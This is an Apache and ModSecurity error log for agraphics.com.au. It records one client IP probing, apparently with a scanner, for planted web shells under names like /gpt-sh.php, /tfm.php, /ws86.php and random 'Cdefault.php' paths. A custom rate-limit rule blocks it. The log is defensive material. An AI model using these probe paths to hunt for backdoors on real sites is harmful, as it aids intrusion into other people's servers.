[Sun Apr 05 05:52:52.978755 2026] [:error] [pid 45303:tid 45322] [client 20.215.70.55:52824] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "adGINLboQ9eViZ4hdnmCzgAAAAU"]
[Sun Apr 05 05:52:53.675420 2026] [:error] [pid 45305:tid 45394] [client 20.215.70.55:54104] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adGINejDQjr7aWhjflASQQAAAJc"]
[Sun Apr 05 05:52:54.418191 2026] [:error] [pid 45303:tid 45319] [client 20.215.70.55:54140] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adGINrboQ9eViZ4hdnmCzwAAAAI"]
[Sun Apr 05 05:52:55.068563 2026] [:error] [pid 45303:tid 45335] [client 20.215.70.55:63579] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adGIN7boQ9eViZ4hdnmC0AAAABI"]
[Sun Apr 05 05:52:55.690204 2026] [:error] [pid 30921:tid 30929] [client 20.215.70.55:52812] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adGIN2FGQVn8Q0ueB25sVwAAAQY"]
[Sun Apr 05 05:52:56.372468 2026] [:error] [pid 45409:tid 45414] [client 20.215.70.55:7782] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adGIONHt_Oyw03gjCNjLYAAAAMM"]
[Sun Apr 05 05:52:56.991799 2026] [:error] [pid 45409:tid 45418] [client 20.215.70.55:7807] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adGIONHt_Oyw03gjCNjLYgAAAMc"]
[Sun Apr 05 05:52:57.721739 2026] [:error] [pid 45305:tid 45384] [client 20.215.70.55:63573] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adGIOejDQjr7aWhjflASVAAAAI0"]
[Sun Apr 05 05:52:58.529320 2026] [:error] [pid 45305:tid 45372] [client 20.215.70.55:52844] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adGIOujDQjr7aWhjflASWQAAAIE"]
[Sun Apr 05 05:52:59.541635 2026] [:error] [pid 45305:tid 45378] [client 20.215.70.55:52861] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "adGIO-jDQjr7aWhjflASXwAAAIc"]
[Sun Apr 05 05:53:00.489035 2026] [:error] [pid 30921:tid 30929] [client 20.215.70.55:7638] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "adGIPGFGQVn8Q0ueB25sYgAAAQY"]
[Sun Apr 05 05:53:01.802926 2026] [:error] [pid 30921:tid 30939] [client 20.215.70.55:7642] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "adGIPWFGQVn8Q0ueB25saAAAARA"]
[Sun Apr 05 05:53:03.067037 2026] [:error] [pid 45305:tid 45382] [client 20.215.70.55:54128] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "adGIP-jDQjr7aWhjflASZwAAAIs"]
[Sun Apr 05 05:53:03.935422 2026] [:error] [pid 45303:tid 45328] [client 20.215.70.55:54115] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adGIP7boQ9eViZ4hdnmC2AAAAAs"]
[Sun Apr 05 05:53:04.695408 2026] [:error] [pid 45303:tid 45326] [client 20.215.70.55:54110] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adGIQLboQ9eViZ4hdnmC2wAAAAk"]
[Sun Apr 05 05:53:05.426723 2026] [:error] [pid 30921:tid 30941] [client 20.215.70.55:7793] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adGIQWFGQVn8Q0ueB25scwAAARI"]
[Sun Apr 05 05:53:06.308056 2026] [:error] [pid 45305:tid 45371] [client 20.215.70.55:7669] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adGIQujDQjr7aWhjflASagAAAIA"]
[Sun Apr 05 05:53:07.060598 2026] [:error] [pid 30921:tid 30936] [client 20.215.70.55:7774] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adGIQ2FGQVn8Q0ueB25seAAAAQ0"]
[Sun Apr 05 05:53:07.882373 2026] [:error] [pid 30921:tid 30944] [client 20.215.70.55:7647] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adGIQ2FGQVn8Q0ueB25sfAAAARU"]
[Sun Apr 05 05:53:08.806522 2026] [:error] [pid 45303:tid 45334] [client 20.215.70.55:63766] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adGIRLboQ9eViZ4hdnmC5AAAABE"]
[Sun Apr 05 05:53:10.580733 2026] [:error] [pid 30921:tid 30947] [client 20.215.70.55:64622] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adGIRmFGQVn8Q0ueB25sgwAAARg"]
[Sun Apr 05 05:53:11.314852 2026] [:error] [pid 45304:tid 45362] [client 20.215.70.55:64588] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "adGIRw5jnqDKKovdRkkGTAAAAFI"]
[Sun Apr 05 05:53:12.562167 2026] [:error] [pid 30921:tid 30944] [client 20.215.70.55:64599] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "adGISGFGQVn8Q0ueB25siAAAARU"]
[Sun Apr 05 05:53:13.345902 2026] [:error] [pid 45305:tid 45386] [client 20.215.70.55:54082] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "adGISejDQjr7aWhjflASkAAAAI8"]
[Sun Apr 05 05:53:14.144248 2026] [:error] [pid 45409:tid 45425] [client 20.215.70.55:64603] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "adGIStHt_Oyw03gjCNjLigAAAM4"]
[Sun Apr 05 05:53:15.049538 2026] [:error] [pid 45305:tid 45375] [client 20.215.70.55:64594] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adGIS-jDQjr7aWhjflASlwAAAIQ"]
[Sun Apr 05 05:53:15.873531 2026] [:error] [pid 45305:tid 45380] [client 20.215.70.55:64627] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adGIS-jDQjr7aWhjflASngAAAIk"]
[Sun Apr 05 05:53:16.590038 2026] [:error] [pid 45305:tid 45387] [client 20.215.70.55:64635] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adGITOjDQjr7aWhjflASpgAAAJA"]
[Sun Apr 05 05:53:17.653248 2026] [:error] [pid 45305:tid 45371] [client 20.215.70.55:54126] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adGITejDQjr7aWhjflASqAAAAIA"]
[Sun Apr 05 05:53:18.372567 2026] [:error] [pid 45305:tid 45378] [client 20.215.70.55:7763] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "adGITujDQjr7aWhjflASrgAAAIc"]
[Sun Apr 05 05:53:19.132588 2026] [:error] [pid 45409:tid 45435] [client 20.215.70.55:64587] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "adGIT9Ht_Oyw03gjCNjLkgAAANg"]
[Sun Apr 05 05:53:19.749269 2026] [:error] [pid 30921:tid 30929] [client 20.215.70.55:52840] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "adGIT2FGQVn8Q0ueB25slQAAAQY"]
[Sun Apr 05 05:53:20.583463 2026] [:error] [pid 45304:tid 45358] [client 20.215.70.55:64579] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "adGIUA5jnqDKKovdRkkGUQAAAE4"]
[Sun Apr 05 05:53:21.633822 2026] [:error] [pid 30921:tid 30941] [client 20.215.70.55:52822] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adGIUWFGQVn8Q0ueB25smwAAARI"]
[Sun Apr 05 05:53:22.574446 2026] [:error] [pid 45409:tid 45428] [client 20.215.70.55:7758] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adGIUtHt_Oyw03gjCNjLnQAAANE"]
[Sun Apr 05 05:53:23.481657 2026] [:error] [pid 45305:tid 45386] [client 20.215.70.55:63811] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adGIU-jDQjr7aWhjflASxgAAAI8"]
[Sun Apr 05 05:53:24.290154 2026] [:error] [pid 45305:tid 45373] [client 20.215.70.55:7620] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adGIVOjDQjr7aWhjflASzQAAAII"]
[Sun Apr 05 05:53:24.983841 2026] [:error] [pid 30921:tid 30929] [client 20.215.70.55:63807] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0yellow.php"] [unique_id "adGIVGFGQVn8Q0ueB25sogAAAQY"]
[Sun Apr 05 05:53:25.608369 2026] [:error] [pid 45305:tid 45383] [client 20.215.70.55:64611] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0yellow.php"] [unique_id "adGIVejDQjr7aWhjflAS1gAAAIw"]
[Sun Apr 05 05:53:26.674368 2026] [:error] [pid 45304:tid 45358] [client 20.215.70.55:54138] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0yellow.php"] [unique_id "adGIVg5jnqDKKovdRkkGYQAAAE4"]
[Sun Apr 05 05:53:27.666490 2026] [:error] [pid 45305:tid 45374] [client 20.215.70.55:64626] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0yellow.php"] [unique_id "adGIV-jDQjr7aWhjflAS3gAAAIM"]
[Sun Apr 05 05:53:28.373528 2026] [:error] [pid 45305:tid 45390] [client 20.215.70.55:54130] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "adGIWOjDQjr7aWhjflAS4QAAAJM"]
[Sun Apr 05 05:53:28.901030 2026] [:error] [pid 45305:tid 45372] [client 20.215.70.55:7799] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "adGIWOjDQjr7aWhjflAS5wAAAIE"]
[Sun Apr 05 05:53:29.501312 2026] [:error] [pid 45304:tid 45357] [client 20.215.70.55:64512] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "adGIWQ5jnqDKKovdRkkGaAAAAE0"]
[Sun Apr 05 05:53:30.151626 2026] [:error] [pid 45305:tid 45393] [client 20.215.70.55:7668] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "adGIWujDQjr7aWhjflAS7QAAAJY"]
[Sun Apr 05 05:53:31.149907 2026] [:error] [pid 30921:tid 30926] [client 20.215.70.55:64521] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adGIW2FGQVn8Q0ueB25sqQAAAQM"]
[Sun Apr 05 05:53:31.913910 2026] [:error] [pid 45409:tid 45433] [client 20.215.70.55:64543] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adGIW9Ht_Oyw03gjCNjLsQAAANY"]
[Sun Apr 05 05:53:32.579547 2026] [:error] [pid 45303:tid 45320] [client 20.215.70.55:52802] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adGIXLboQ9eViZ4hdnmDIgAAAAM"]
[Sun Apr 05 05:53:33.575520 2026] [:error] [pid 45409:tid 45435] [client 20.215.70.55:64633] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adGIXdHt_Oyw03gjCNjLsgAAANg"]
[Sun Apr 05 05:53:34.411290 2026] [:error] [pid 45409:tid 45417] [client 20.215.70.55:52855] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "adGIXtHt_Oyw03gjCNjLtAAAAMY"]
[Sun Apr 05 05:53:35.365769 2026] [:error] [pid 45409:tid 45420] [client 20.215.70.55:52832] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "adGIX9Ht_Oyw03gjCNjLvwAAAMk"]
[Sun Apr 05 05:53:36.289061 2026] [proxy_fcgi:error] [pid 45305:tid 45389] [client 20.215.70.55:7798] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:53:36.586220 2026] [proxy_fcgi:error] [pid 45305:tid 45393] [client 20.215.70.55:7798] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:53:36.846304 2026] [proxy_fcgi:error] [pid 45305:tid 45391] [client 20.215.70.55:7798] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:53:37.109409 2026] [proxy_fcgi:error] [pid 45305:tid 45389] [client 20.215.70.55:7798] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:53:37.368927 2026] [proxy_fcgi:error] [pid 45305:tid 45395] [client 20.215.70.55:7798] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:53:37.640921 2026] [proxy_fcgi:error] [pid 45305:tid 45376] [client 20.215.70.55:7798] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:53:37.899421 2026] [proxy_fcgi:error] [pid 45305:tid 45375] [client 20.215.70.55:7798] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:53:38.158004 2026] [proxy_fcgi:error] [pid 45305:tid 45376] [client 20.215.70.55:7798] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:53:38.426939 2026] [proxy_fcgi:error] [pid 45305:tid 45393] [client 20.215.70.55:7798] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:53:38.699326 2026] [proxy_fcgi:error] [pid 45305:tid 45380] [client 20.215.70.55:7798] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:53:38.957079 2026] [proxy_fcgi:error] [pid 45305:tid 45379] [client 20.215.70.55:7798] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:53:39.212290 2026] [:error] [pid 45305:tid 45381] [client 20.215.70.55:7798] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gptsh.php"] [unique_id "adGIY-jDQjr7aWhjflATKAAAAIo"]
